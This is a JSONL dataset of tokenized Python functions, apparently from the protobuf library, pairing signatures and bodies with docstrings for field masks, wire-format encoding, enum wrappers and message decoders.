{"signature": "def AddLeafNodes(self, prefix, node):", "body": "if not node:<EOL><INDENT>self.AddPath(prefix)<EOL><DEDENT>for name in node:<EOL><INDENT>child_path = prefix + '<STR_LIT:.>' + name<EOL>self.AddLeafNodes(child_path, node[name])<EOL><DEDENT>", "docstring": "Adds leaf nodes begin with prefix to this tree.", "id": "f8649:c6:m5"}
{"signature": "def MergeMessage(<EOL>self, source, destination,<EOL>replace_message, replace_repeated):", "body": "_MergeMessage(<EOL>self._root, source, destination, replace_message, replace_repeated)<EOL>", "docstring": "Merge all fields specified by this tree from source to destination.", "id": "f8649:c6:m6"}
{"signature": "def get_or_create_list(self, key):", "body": "return self.fields[key].list_value<EOL>", "docstring": "Returns a list for this key, creating if it didn't exist already.", "id": "f8649:c7:m2"}
{"signature": "def get_or_create_struct(self, key):", "body": "return self.fields[key].struct_value<EOL>", "docstring": "Returns a struct for this key, creating if it didn't exist already.", "id": "f8649:c7:m3"}
{"signature": "def __getitem__(self, index):", "body": "return _GetStructValue(self.values.__getitem__(index))<EOL>", "docstring": "Retrieves item by the specified index.", "id": "f8649:c8:m3"}
{"signature": "def add_struct(self):", "body": "return self.values.add().struct_value<EOL>", "docstring": "Appends and returns a struct value as the next value in the list.", "id": "f8649:c8:m6"}
{"signature": "def add_list(self):", "body": "return self.values.add().list_value<EOL>", "docstring": "Appends and returns a list value as the next value in the list.", "id": "f8649:c8:m7"}
{"signature": "def PackTag(field_number, wire_type):", "body": "if not <NUM_LIT:0> <= wire_type <= _WIRETYPE_MAX:<EOL><INDENT>raise message.EncodeError('<STR_LIT>' % wire_type)<EOL><DEDENT>return (field_number << TAG_TYPE_BITS) | wire_type<EOL>", "docstring": "Returns an unsigned 32-bit integer that encodes the field number and\n    wire type information in standard protocol message wire format.\n\n    Args:\n      field_number: Expected to be an integer in the range [1, 1 << 29)\n      wire_type: One of the WIRETYPE_* constants.", "id": "f8650:m0"}
{"signature": "def UnpackTag(tag):", "body": "return (tag >> TAG_TYPE_BITS), (tag & TAG_TYPE_MASK)<EOL>", "docstring": "The inverse of PackTag().  Given an unsigned 32-bit number,\n    returns a (field_number, wire_type) tuple.", "id": "f8650:m1"}
{"signature": "def ZigZagEncode(value):", "body": "if value >= <NUM_LIT:0>:<EOL><INDENT>return value << <NUM_LIT:1><EOL><DEDENT>return (value << <NUM_LIT:1>) ^ (~<NUM_LIT:0>)<EOL>", "docstring": "ZigZag Transform:  Encodes signed integers so that they can be\n    effectively used with varint encoding.  See wire_format.h for\n    more details.", "id": "f8650:m2"}
{"signature": "def ZigZagDecode(value):", "body": "if not value & <NUM_LIT>:<EOL><INDENT>return value >> <NUM_LIT:1><EOL><DEDENT>return (value >> <NUM_LIT:1>) ^ (~<NUM_LIT:0>)<EOL>", "docstring": "Inverse of ZigZagEncode().", "id": "f8650:m3"}
{"signature": "def TagByteSize(field_number):", "body": "<EOL>return _VarUInt64ByteSizeNoTag(PackTag(field_number, <NUM_LIT:0>))<EOL>", "docstring": "Returns the bytes required to serialize a tag with this field number.", "id": "f8650:m24"}
{"signature": "def _VarUInt64ByteSizeNoTag(uint64):", "body": "if uint64 <= <NUM_LIT>: return <NUM_LIT:1><EOL>if uint64 <= <NUM_LIT>: return <NUM_LIT:2><EOL>if uint64 <= <NUM_LIT>: return <NUM_LIT:3><EOL>if uint64 <= <NUM_LIT>: return <NUM_LIT:4><EOL>if uint64 <= <NUM_LIT>: return <NUM_LIT:5><EOL>if uint64 <= <NUM_LIT>: return <NUM_LIT:6><EOL>if uint64 <= <NUM_LIT>: return <NUM_LIT:7><EOL>if uint64 <= <NUM_LIT>: return <NUM_LIT:8><EOL>if uint64 <= <NUM_LIT>: return <NUM_LIT:9><EOL>if uint64 > UINT64_MAX:<EOL><INDENT>raise message.EncodeError('<STR_LIT>' % uint64)<EOL><DEDENT>return <NUM_LIT:10><EOL>", "docstring": "Returns the number of bytes required to serialize a single varint\n    using boundary value comparisons. (unrolled loop optimization -WPierce)\n    uint64 must be unsigned.", "id": "f8650:m25"}
{"signature": "def IsTypePackable(field_type):", "body": "return field_type not in NON_PACKABLE_TYPES<EOL>", "docstring": "Return true iff packable = true is valid for fields of this type.\n\n    Args:\n      field_type: a FieldDescriptor::Type value.\n\n    Returns:\n      True iff fields of this type are packable.", "id": "f8650:m26"}
{"signature": "def __init__(self, enum_type):", "body": "self._enum_type = enum_type<EOL>self.DESCRIPTOR = enum_type<EOL>", "docstring": "Inits EnumTypeWrapper with an EnumDescriptor.", "id": "f8652:c0:m0"}
{"signature": "def Name(self, number):", "body": "if number in self._enum_type.values_by_number:<EOL><INDENT>return self._enum_type.values_by_number[number].name<EOL><DEDENT>raise ValueError('<STR_LIT>' % (<EOL>self._enum_type.name, number))<EOL>", "docstring": "Returns a string containing the name of an enum value.", "id": "f8652:c0:m1"}
{"signature": "def Value(self, name):", "body": "if name in self._enum_type.values_by_name:<EOL><INDENT>return self._enum_type.values_by_name[name].number<EOL><DEDENT>raise ValueError('<STR_LIT>' % (<EOL>self._enum_type.name, name))<EOL>", "docstring": "Returns the value coresponding to the given enum name.", "id": "f8652:c0:m2"}
{"signature": "def keys(self):", "body": "return [value_descriptor.name<EOL>for value_descriptor in self._enum_type.values]<EOL>", "docstring": "Return a list of the string names in the enum.\n\n        These are returned in the order they were defined in the .proto file.", "id": "f8652:c0:m3"}
{"signature": "def values(self):", "body": "return [value_descriptor.number<EOL>for value_descriptor in self._enum_type.values]<EOL>", "docstring": "Return a list of the integer values in the enum.\n\n        These are returned in the order they were defined in the .proto file.", "id": "f8652:c0:m4"}
{"signature": "def items(self):", "body": "return [(value_descriptor.name, value_descriptor.number)<EOL>for value_descriptor in self._enum_type.values]<EOL>", "docstring": "Return a list of the (name, value) pairs of the enum.\n\n        These are returned in the order they were defined in the .proto file.", "id": "f8652:c0:m5"}
{"signature": "def GetTypeChecker(field):", "body": "if (field.cpp_type == _FieldDescriptor.CPPTYPE_STRING and<EOL>field.type == _FieldDescriptor.TYPE_STRING):<EOL><INDENT>return UnicodeValueChecker()<EOL><DEDENT>if field.cpp_type == _FieldDescriptor.CPPTYPE_ENUM:<EOL><INDENT>if SupportsOpenEnums(field):<EOL><INDENT>return _VALUE_CHECKERS[_FieldDescriptor.CPPTYPE_INT32]<EOL><DEDENT>else:<EOL><INDENT>return EnumValueChecker(field.enum_type)<EOL><DEDENT><DEDENT>return _VALUE_CHECKERS[field.cpp_type]<EOL>", "docstring": "Returns a type checker for a message field of the specified types.\n\n    Args:\n      field: FieldDescriptor object for this field.\n\n    Returns:\n      An instance of TypeChecker which can be used to verify the types\n      of values assigned to a field of the specified type.", "id": "f8653:m1"}
{"signature": "def CheckValue(self, proposed_value):", "body": "if not isinstance(proposed_value, self._acceptable_types):<EOL><INDENT>message = ('<STR_LIT>' %<EOL>(proposed_value, type(proposed_value), self._acceptable_types))<EOL>raise TypeError(message)<EOL><DEDENT>return proposed_value<EOL>", "docstring": "Type check the provided value and return it.\n\n        The returned value might have been normalized to another type.", "id": "f8653:c0:m1"}
{"signature": "def _VarintDecoder(mask, result_type):", "body": "def DecodeVarint(buffer, pos):<EOL><INDENT>result = <NUM_LIT:0><EOL>shift = <NUM_LIT:0><EOL>while <NUM_LIT:1>:<EOL><INDENT>b = six.indexbytes(buffer, pos)<EOL>result |= ((b & <NUM_LIT>) << shift)<EOL>pos += <NUM_LIT:1><EOL>if not (b & <NUM_LIT>):<EOL><INDENT>result &= mask<EOL>result = result_type(result)<EOL>return (result, pos)<EOL><DEDENT>shift += <NUM_LIT:7><EOL>if shift >= <NUM_LIT:64>:<EOL><INDENT>raise _DecodeError('<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>return DecodeVarint<EOL>", "docstring": "Return an encoder for a basic varint value (does not include tag).\n\n    Decoded values will be bitwise-anded with the given mask before being\n    returned, e.g. to limit them to 32 bits.  The returned decoder does not\n    take the usual \"end\" parameter -- the caller is expected to do bounds checking\n    after the fact (often the caller can defer such checking until later).  The\n    decoder returns a (value, new_pos) pair.", "id": "f8654:m0"}
{"signature": "def _SignedVarintDecoder(mask, result_type):", "body": "def DecodeVarint(buffer, pos):<EOL><INDENT>result = <NUM_LIT:0><EOL>shift = <NUM_LIT:0><EOL>while <NUM_LIT:1>:<EOL><INDENT>b = six.indexbytes(buffer, pos)<EOL>result |= ((b & <NUM_LIT>) << shift)<EOL>pos += <NUM_LIT:1><EOL>if not (b & <NUM_LIT>):<EOL><INDENT>if result > <NUM_LIT>:<EOL><INDENT>result -= (<NUM_LIT:1> << <NUM_LIT:64>)<EOL>result |= ~mask<EOL><DEDENT>else:<EOL><INDENT>result &= mask<EOL><DEDENT>result = result_type(result)<EOL>return (result, pos)<EOL><DEDENT>shift += <NUM_LIT:7><EOL>if shift >= <NUM_LIT:64>:<EOL><INDENT>raise _DecodeError('<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>return DecodeVarint<EOL>", "docstring": "Like _VarintDecoder() but decodes signed values.", "id": "f8654:m1"}
{"signature": "def ReadTag(buffer, pos):", "body": "start = pos<EOL>while six.indexbytes(buffer, pos) & <NUM_LIT>:<EOL><INDENT>pos += <NUM_LIT:1><EOL><DEDENT>pos += <NUM_LIT:1><EOL>return (buffer[start:pos], pos)<EOL>", "docstring": "Read a tag from the buffer, and return a (tag_bytes, new_pos) tuple.\n\n    We return the raw bytes of the tag rather than decoding them.  The raw\n    bytes can then be used to look up the proper decoder.  This effectively allows\n    us to trade some work that would be done in pure-python (decoding a varint)\n    for work that is done in C (searching for a byte string in a hash table).\n    In a low-level language it would be much cheaper to decode the varint and\n    use that, but not in Python.", "id": "f8654:m2"}
{"signature": "def _SimpleDecoder(wire_type, decode_value):", "body": "def SpecificDecoder(field_number, is_repeated, is_packed, key, new_default):<EOL><INDENT>if is_packed:<EOL><INDENT>local_DecodeVarint = _DecodeVarint<EOL>def DecodePackedField(buffer, pos, end, message, field_dict):<EOL><INDENT>value = field_dict.get(key)<EOL>if value is None:<EOL><INDENT>value = field_dict.setdefault(key, new_default(message))<EOL><DEDENT>(endpoint, pos) = local_DecodeVarint(buffer, pos)<EOL>endpoint += pos<EOL>if endpoint > end:<EOL><INDENT>raise _DecodeError('<STR_LIT>')<EOL><DEDENT>while pos < endpoint:<EOL><INDENT>(element, pos) = decode_value(buffer, pos)<EOL>value.append(element)<EOL><DEDENT>if pos > endpoint:<EOL><INDENT>del value[-<NUM_LIT:1>]   <EOL>raise _DecodeError('<STR_LIT>')<EOL><DEDENT>return pos<EOL><DEDENT>return DecodePackedField<EOL><DEDENT>elif is_repeated:<EOL><INDENT>tag_bytes = encoder.TagBytes(field_number, wire_type)<EOL>tag_len = len(tag_bytes)<EOL>def DecodeRepeatedField(buffer, pos, end, message, field_dict):<EOL><INDENT>value = field_dict.get(key)<EOL>if value is None:<EOL><INDENT>value = field_dict.setdefault(key, new_default(message))<EOL><DEDENT>while <NUM_LIT:1>:<EOL><INDENT>(element, new_pos) = decode_value(buffer, pos)<EOL>value.append(element)<EOL>pos = new_pos + tag_len<EOL>if buffer[new_pos:pos] != tag_bytes or new_pos >= end:<EOL><INDENT>if new_pos > end:<EOL><INDENT>raise _DecodeError('<STR_LIT>')<EOL><DEDENT>return new_pos<EOL><DEDENT><DEDENT><DEDENT>return DecodeRepeatedField<EOL><DEDENT>else:<EOL><INDENT>def DecodeField(buffer, pos, end, message, field_dict):<EOL><INDENT>(field_dict[key], pos) = decode_value(buffer, pos)<EOL>if pos > end:<EOL><INDENT>del field_dict[key]  <EOL>raise _DecodeError('<STR_LIT>')<EOL><DEDENT>return pos<EOL><DEDENT>return DecodeField<EOL><DEDENT><DEDENT>return SpecificDecoder<EOL>", "docstring": "Return a constructor for a decoder for fields of a particular type.\n\n    Args:\n        wire_type:  The field's wire type.\n        decode_value:  A function which decodes an individual value, e.g.\n          _DecodeVarint()", "id": "f8654:m3"}
{"signature": "def _ModifiedDecoder(wire_type, decode_value, modify_value):", "body": "<EOL>def InnerDecode(buffer, pos):<EOL><INDENT>(result, new_pos) = decode_value(buffer, pos)<EOL>return (modify_value(result), new_pos)<EOL><DEDENT>return _SimpleDecoder(wire_type, InnerDecode)<EOL>", "docstring": "Like SimpleDecoder but additionally invokes modify_value on every value\n    before storing it.  Usually modify_value is ZigZagDecode.", "id": "f8654:m4"}
{"signature": "def _StructPackDecoder(wire_type, format):", "body": "value_size = struct.calcsize(format)<EOL>local_unpack = struct.unpack<EOL>def InnerDecode(buffer, pos):<EOL><INDENT>new_pos = pos + value_size<EOL>result = local_unpack(format, buffer[pos:new_pos])[<NUM_LIT:0>]<EOL>return (result, new_pos)<EOL><DEDENT>return _SimpleDecoder(wire_type, InnerDecode)<EOL>", "docstring": "Return a constructor for a decoder for a fixed-width field.\n\n    Args:\n        wire_type:  The field's wire type.\n        format:  The format string to pass to struct.unpack().", "id": "f8654:m5"}
{"signature": "def _FloatDecoder():", "body": "local_unpack = struct.unpack<EOL>def InnerDecode(buffer, pos):<EOL><INDENT>new_pos = pos + <NUM_LIT:4><EOL>float_bytes = buffer[pos:new_pos]<EOL>if (float_bytes[<NUM_LIT:3>:<NUM_LIT:4>] in b'<STR_LIT>' and float_bytes[<NUM_LIT:2>:<NUM_LIT:3>] >= b'<STR_LIT>'):<EOL><INDENT>if float_bytes[<NUM_LIT:0>:<NUM_LIT:3>] != b'<STR_LIT>':<EOL><INDENT>return (_NAN, new_pos)<EOL><DEDENT>if float_bytes[<NUM_LIT:3>:<NUM_LIT:4>] == b'<STR_LIT>':<EOL><INDENT>return (_NEG_INF, new_pos)<EOL><DEDENT>return (_POS_INF, new_pos)<EOL><DEDENT>result = local_unpack('<STR_LIT>', float_bytes)[<NUM_LIT:0>]<EOL>return (result, new_pos)<EOL><DEDENT>return _SimpleDecoder(wire_format.WIRETYPE_FIXED32, InnerDecode)<EOL>", "docstring": "Returns a decoder for a float field.\n\n    This code works around a bug in struct.unpack for non-finite 32-bit\n    floating-point values.", "id": "f8654:m6"}
{"signature": "def _DoubleDecoder():", "body": "local_unpack = struct.unpack<EOL>def InnerDecode(buffer, pos):<EOL><INDENT>new_pos = pos + <NUM_LIT:8><EOL>double_bytes = buffer[pos:new_pos]<EOL>if ((double_bytes[<NUM_LIT:7>:<NUM_LIT:8>] in b'<STR_LIT>')<EOL>and (double_bytes[<NUM_LIT:6>:<NUM_LIT:7>] >= b'<STR_LIT>')<EOL>and (double_bytes[<NUM_LIT:0>:<NUM_LIT:7>] != b'<STR_LIT>')):<EOL><INDENT>return (_NAN, new_pos)<EOL><DEDENT>result = local_unpack('<STR_LIT>', double_bytes)[<NUM_LIT:0>]<EOL>return (result, new_pos)<EOL><DEDENT>return _SimpleDecoder(wire_format.WIRETYPE_FIXED64, InnerDecode)<EOL>", "docstring": "Returns a decoder for a double field.\n\n    This code works around a bug in struct.unpack for not-a-number.", "id": "f8654:m7"}
{"signature": "def StringDecoder(field_number, is_repeated, is_packed, key, new_default):", "body": "local_DecodeVarint = _DecodeVarint<EOL>local_unicode = six.text_type<EOL>def _ConvertToUnicode(byte_str):<EOL><INDENT>try:<EOL><INDENT>return local_unicode(byte_str, '<STR_LIT:utf-8>')<EOL><DEDENT>except UnicodeDecodeError as e:<EOL><INDENT>e.reason = '<STR_LIT>' % (e, key.full_name)<EOL>raise<EOL><DEDENT><DEDENT>assert not is_packed<EOL>if is_repeated:<EOL><INDENT>tag_bytes = encoder.TagBytes(field_number,<EOL>wire_format.WIRETYPE_LENGTH_DELIMITED)<EOL>tag_len = len(tag_bytes)<EOL>def DecodeRepeatedField(buffer, pos, end, message, field_dict):<EOL><INDENT>value = field_dict.get(key)<EOL>if value is None:<EOL><INDENT>value = field_dict.setdefault(key, new_default(message))<EOL><DEDENT>while <NUM_LIT:1>:<EOL><INDENT>(size, pos) = local_DecodeVarint(buffer, pos)<EOL>new_pos = pos + size<EOL>if new_pos > end:<EOL><INDENT>raise _DecodeError('<STR_LIT>')<EOL><DEDENT>value.append(_ConvertToUnicode(buffer[pos:new_pos]))<EOL>pos = new_pos + tag_len<EOL>if buffer[new_pos:pos] != tag_bytes or new_pos == end:<EOL><INDENT>return new_pos<EOL><DEDENT><DEDENT><DEDENT>return DecodeRepeatedField<EOL><DEDENT>else:<EOL><INDENT>def DecodeField(buffer, pos, end, message, field_dict):<EOL><INDENT>(size, pos) = local_DecodeVarint(buffer, pos)<EOL>new_pos = pos + size<EOL>if new_pos > end:<EOL><INDENT>raise _DecodeError('<STR_LIT>')<EOL><DEDENT>field_dict[key] = _ConvertToUnicode(buffer[pos:new_pos])<EOL>return new_pos<EOL><DEDENT>return DecodeField<EOL><DEDENT>", "docstring": "Returns a decoder for a string field.", "id": "f8654:m9"}
{"signature": "def BytesDecoder(field_number, is_repeated, is_packed, key, new_default):", "body": "local_DecodeVarint = _DecodeVarint<EOL>assert not is_packed<EOL>if is_repeated:<EOL><INDENT>tag_bytes = encoder.TagBytes(field_number,<EOL>wire_format.WIRETYPE_LENGTH_DELIMITED)<EOL>tag_len = len(tag_bytes)<EOL>def DecodeRepeatedField(buffer, pos, end, message, field_dict):<EOL><INDENT>value = field_dict.get(key)<EOL>if value is None:<EOL><INDENT>value = field_dict.setdefault(key, new_default(message))<EOL><DEDENT>while <NUM_LIT:1>:<EOL><INDENT>(size, pos) = local_DecodeVarint(buffer, pos)<EOL>new_pos = pos + size<EOL>if new_pos > end:<EOL><INDENT>raise _DecodeError('<STR_LIT>')<EOL><DEDENT>value.append(buffer[pos:new_pos])<EOL>pos = new_pos + tag_len<EOL>if buffer[new_pos:pos] != tag_bytes or new_pos == end:<EOL><INDENT>return new_pos<EOL><DEDENT><DEDENT><DEDENT>return DecodeRepeatedField<EOL><DEDENT>else:<EOL><INDENT>def DecodeField(buffer, pos, end, message, field_dict):<EOL><INDENT>(size, pos) = local_DecodeVarint(buffer, pos)<EOL>new_pos = pos + size<EOL>if new_pos > end:<EOL><INDENT>raise _DecodeError('<STR_LIT>')<EOL><DEDENT>field_dict[key] = buffer[pos:new_pos]<EOL>return new_pos<EOL><DEDENT>return DecodeField<EOL><DEDENT>", "docstring": "Returns a decoder for a bytes field.", "id": "f8654:m10"}
{"signature": "def GroupDecoder(field_number, is_repeated, is_packed, key, new_default):", "body": "end_tag_bytes = encoder.TagBytes(field_number,<EOL>wire_format.WIRETYPE_END_GROUP)<EOL>end_tag_len = len(end_tag_bytes)<EOL>assert not is_packed<EOL>if is_repeated:<EOL><INDENT>tag_bytes = encoder.TagBytes(field_number,<EOL>wire_format.WIRETYPE_START_GROUP)<EOL>tag_len = len(tag_bytes)<EOL>def DecodeRepeatedField(buffer, pos, end, message, field_dict):<EOL><INDENT>value = field_dict.get(key)<EOL>if value is None:<EOL><INDENT>value = field_dict.setdefault(key, new_default(message))<EOL><DEDENT>while <NUM_LIT:1>:<EOL><INDENT>value = field_dict.get(key)<EOL>if value is None:<EOL><INDENT>value = field_dict.setdefault(key, new_default(message))<EOL><DEDENT>pos = value.add()._InternalParse(buffer, pos, end)<EOL>new_pos = pos+end_tag_len<EOL>if buffer[pos:new_pos] != end_tag_bytes or new_pos > end:<EOL><INDENT>raise _DecodeError('<STR_LIT>')<EOL><DEDENT>pos = new_pos + tag_len<EOL>if buffer[new_pos:pos] != tag_bytes or new_pos == end:<EOL><INDENT>return new_pos<EOL><DEDENT><DEDENT><DEDENT>return DecodeRepeatedField<EOL><DEDENT>else:<EOL><INDENT>def DecodeField(buffer, pos, end, message, field_dict):<EOL><INDENT>value = field_dict.get(key)<EOL>if value is None:<EOL><INDENT>value = field_dict.setdefault(key, new_default(message))<EOL><DEDENT>pos = value._InternalParse(buffer, pos, end)<EOL>new_pos = pos+end_tag_len<EOL>if buffer[pos:new_pos] != end_tag_bytes or new_pos > end:<EOL><INDENT>raise _DecodeError('<STR_LIT>')<EOL><DEDENT>return new_pos<EOL><DEDENT>return DecodeField<EOL><DEDENT>", "docstring": "Returns a decoder for a group field.", "id": "f8654:m11"}
{"signature": "def MessageDecoder(field_number, is_repeated, is_packed, key, new_default):", "body": "local_DecodeVarint = _DecodeVarint<EOL>assert not is_packed<EOL>if is_repeated:<EOL><INDENT>tag_bytes = encoder.TagBytes(field_number,<EOL>wire_format.WIRETYPE_LENGTH_DELIMITED)<EOL>tag_len = len(tag_bytes)<EOL>def DecodeRepeatedField(buffer, pos, end, message, field_dict):<EOL><INDENT>value = field_dict.get(key)<EOL>if value is None:<EOL><INDENT>value = field_dict.setdefault(key, new_default(message))<EOL><DEDENT>while <NUM_LIT:1>:<EOL><INDENT>(size, pos) = local_DecodeVarint(buffer, pos)<EOL>new_pos = pos + size<EOL>if new_pos > end:<EOL><INDENT>raise _DecodeError('<STR_LIT>')<EOL><DEDENT>if value.add()._InternalParse(buffer, pos, new_pos) != new_pos:<EOL><INDENT>raise _DecodeError('<STR_LIT>')<EOL><DEDENT>pos = new_pos + tag_len<EOL>if buffer[new_pos:pos] != tag_bytes or new_pos == end:<EOL><INDENT>return new_pos<EOL><DEDENT><DEDENT><DEDENT>return DecodeRepeatedField<EOL><DEDENT>else:<EOL><INDENT>def DecodeField(buffer, pos, end, message, field_dict):<EOL><INDENT>value = field_dict.get(key)<EOL>if value is None:<EOL><INDENT>value = field_dict.setdefault(key, new_default(message))<EOL><DEDENT>(size, pos) = local_DecodeVarint(buffer, pos)<EOL>new_pos = pos + size<EOL>if new_pos > end:<EOL><INDENT>raise _DecodeError('<STR_LIT>')<EOL><DEDENT>if value._InternalParse(buffer, pos, new_pos) != new_pos:<EOL><INDENT>raise _DecodeError('<STR_LIT>')<EOL><DEDENT>return new_pos<EOL><DEDENT>return DecodeField<EOL><DEDENT>", "docstring": "Returns a decoder for a message field.", "id": "f8654:m12"}
{"signature": "def MessageSetItemDecoder(extensions_by_number):", "body": "type_id_tag_bytes = encoder.TagBytes(<NUM_LIT:2>, wire_format.WIRETYPE_VARINT)<EOL>message_tag_bytes = encoder.TagBytes(<NUM_LIT:3>, wire_format.WIRETYPE_LENGTH_DELIMITED)<EOL>item_end_tag_bytes = encoder.TagBytes(<NUM_LIT:1>, wire_format.WIRETYPE_END_GROUP)<EOL>local_ReadTag = ReadTag<EOL>local_DecodeVarint = _DecodeVarint<EOL>local_SkipField = SkipField<EOL>def DecodeItem(buffer, pos, end, message, field_dict):<EOL><INDENT>message_set_item_start = pos<EOL>type_id = -<NUM_LIT:1><EOL>message_start = -<NUM_LIT:1><EOL>message_end = -<NUM_LIT:1><EOL>while <NUM_LIT:1>:<EOL><INDENT>(tag_bytes, pos) = local_ReadTag(buffer, pos)<EOL>if tag_bytes == type_id_tag_bytes:<EOL><INDENT>(type_id, pos) = local_DecodeVarint(buffer, pos)<EOL><DEDENT>elif tag_bytes == message_tag_bytes:<EOL><INDENT>(size, message_start) = local_DecodeVarint(buffer, pos)<EOL>pos = message_end = message_start + size<EOL><DEDENT>elif tag_bytes == item_end_tag_bytes:<EOL><INDENT>break<EOL><DEDENT>else:<EOL><INDENT>pos = SkipField(buffer, pos, end, tag_bytes)<EOL>if pos == -<NUM_LIT:1>:<EOL><INDENT>raise _DecodeError('<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>if pos > end:<EOL><INDENT>raise _DecodeError('<STR_LIT>')<EOL><DEDENT>if type_id == -<NUM_LIT:1>:<EOL><INDENT>raise _DecodeError('<STR_LIT>')<EOL><DEDENT>if message_start == -<NUM_LIT:1>:<EOL><INDENT>raise _DecodeError('<STR_LIT>')<EOL><DEDENT>extension = extensions_by_number.get(type_id)<EOL>if extension is not None:<EOL><INDENT>value = field_dict.get(extension)<EOL>if value is None:<EOL><INDENT>value = field_dict.setdefault(<EOL>extension, extension.message_type._concrete_class())<EOL><DEDENT>if value._InternalParse(buffer, message_start,message_end) != message_end:<EOL><INDENT>raise _DecodeError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if not message._unknown_fields:<EOL><INDENT>message._unknown_fields = []<EOL><DEDENT>message._unknown_fields.append((MESSAGE_SET_ITEM_TAG,<EOL>buffer[message_set_item_start:pos]))<EOL><DEDENT>return pos<EOL><DEDENT>return DecodeItem<EOL>", "docstring": "Returns a decoder for a MessageSet item.\n\n    The parameter is the _extensions_by_number map for the message class.\n\n    The message set message looks like this:\n      message MessageSet {\n        repeated group Item = 1 {\n          required int32 type_id = 2;\n          required string message = 3;\n        }\n      }", "id": "f8654:m13"}
{"signature": "def MapDecoder(field_descriptor, new_default, is_message_map):", "body": "key = field_descriptor<EOL>tag_bytes = encoder.TagBytes(field_descriptor.number,<EOL>wire_format.WIRETYPE_LENGTH_DELIMITED)<EOL>tag_len = len(tag_bytes)<EOL>local_DecodeVarint = _DecodeVarint<EOL>message_type = field_descriptor.message_type<EOL>def DecodeMap(buffer, pos, end, message, field_dict):<EOL><INDENT>submsg = message_type._concrete_class()<EOL>value = field_dict.get(key)<EOL>if value is None:<EOL><INDENT>value = field_dict.setdefault(key, new_default(message))<EOL><DEDENT>while <NUM_LIT:1>:<EOL><INDENT>(size, pos) = local_DecodeVarint(buffer, pos)<EOL>new_pos = pos + size<EOL>if new_pos > end:<EOL><INDENT>raise _DecodeError('<STR_LIT>')<EOL><DEDENT>submsg.Clear()<EOL>if submsg._InternalParse(buffer, pos, new_pos) != new_pos:<EOL><INDENT>raise _DecodeError('<STR_LIT>')<EOL><DEDENT>if is_message_map:<EOL><INDENT>value[submsg.key].MergeFrom(submsg.value)<EOL><DEDENT>else:<EOL><INDENT>value[submsg.key] = submsg.value<EOL><DEDENT>pos = new_pos + tag_len<EOL>if buffer[new_pos:pos] != tag_bytes or new_pos == end:<EOL><INDENT>return new_pos<EOL><DEDENT><DEDENT><DEDENT>return DecodeMap<EOL>", "docstring": "Returns a decoder for a map field.", "id": "f8654:m14"}
{"signature": "def _SkipVarint(buffer, pos, end):", "body": "<EOL>while ord(buffer[pos:pos+<NUM_LIT:1>]) & <NUM_LIT>:<EOL><INDENT>pos += <NUM_LIT:1><EOL><DEDENT>pos += <NUM_LIT:1><EOL>if pos > end:<EOL><INDENT>raise _DecodeError('<STR_LIT>')<EOL><DEDENT>return pos<EOL>", "docstring": "Skip a varint value.  Returns the new position.", "id": "f8654:m15"}
{"signature": "def _SkipFixed64(buffer, pos, end):", "body": "pos += <NUM_LIT:8><EOL>if pos > end:<EOL><INDENT>raise _DecodeError('<STR_LIT>')<EOL><DEDENT>return pos<EOL>", "docstring": "Skip a fixed64 value.  Returns the new position.", "id": "f8654:m16"}
{"signature": "def _SkipLengthDelimited(buffer, pos, end):", "body": "(size, pos) = _DecodeVarint(buffer, pos)<EOL>pos += size<EOL>if pos > end:<EOL><INDENT>raise _DecodeError('<STR_LIT>')<EOL><DEDENT>return pos<EOL>", "docstring": "Skip a length-delimited value.  Returns the new position.", "id": "f8654:m17"}
{"signature": "def _SkipGroup(buffer, pos, end):", "body": "while <NUM_LIT:1>:<EOL><INDENT>(tag_bytes, pos) = ReadTag(buffer, pos)<EOL>new_pos = SkipField(buffer, pos, end, tag_bytes)<EOL>if new_pos == -<NUM_LIT:1>:<EOL><INDENT>return pos<EOL><DEDENT>pos = new_pos<EOL><DEDENT>", "docstring": "Skip sub-group.  Returns the new position.", "id": "f8654:m18"}
{"signature": "def _EndGroup(buffer, pos, end):", "body": "return -<NUM_LIT:1><EOL>", "docstring": "Skipping an END_GROUP tag returns -1 to tell the parent loop to break.", "id": "f8654:m19"}
{"signature": "def _SkipFixed32(buffer, pos, end):", "body": "pos += <NUM_LIT:4><EOL>if pos > end:<EOL><INDENT>raise _DecodeError('<STR_LIT>')<EOL><DEDENT>return pos<EOL>", "docstring": "Skip a fixed32 value.  Returns the new position.", "id": "f8654:m20"}
{"signature": "def _RaiseInvalidWireType(buffer, pos, end):", "body": "raise _DecodeError('<STR_LIT>')<EOL>", "docstring": "Skip function for unknown wire types.  Raises an exception.", "id": "f8654:m21"}
{"signature": "def _FieldSkipper():", "body": "WIRETYPE_TO_SKIPPER = [<EOL>_SkipVarint,<EOL>_SkipFixed64,<EOL>_SkipLengthDelimited,<EOL>_SkipGroup,<EOL>_EndGroup,<EOL>_SkipFixed32,<EOL>_RaiseInvalidWireType,<EOL>_RaiseInvalidWireType,<EOL>]<EOL>wiretype_mask = wire_format.TAG_TYPE_MASK<EOL>def SkipField(buffer, pos, end, tag_bytes):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>wire_type = ord(tag_bytes[<NUM_LIT:0>:<NUM_LIT:1>]) & wiretype_mask<EOL>return WIRETYPE_TO_SKIPPER[wire_type](buffer, pos, end)<EOL><DEDENT>return SkipField<EOL>", "docstring": "Constructs the SkipField function.", "id": "f8654:m22"}
{"signature": "def _PropertyName(proto_field_name):", "body": "<EOL>return proto_field_name<EOL>", "docstring": "Returns the name of the public property attribute which\n    clients can use to get and (in some cases) set the value\n    of a protocol message field.\n\n    Args:\n      proto_field_name: The protocol message field name, exactly\n        as it appears (or would appear) in a .proto file.", "id": "f8655:m0"}
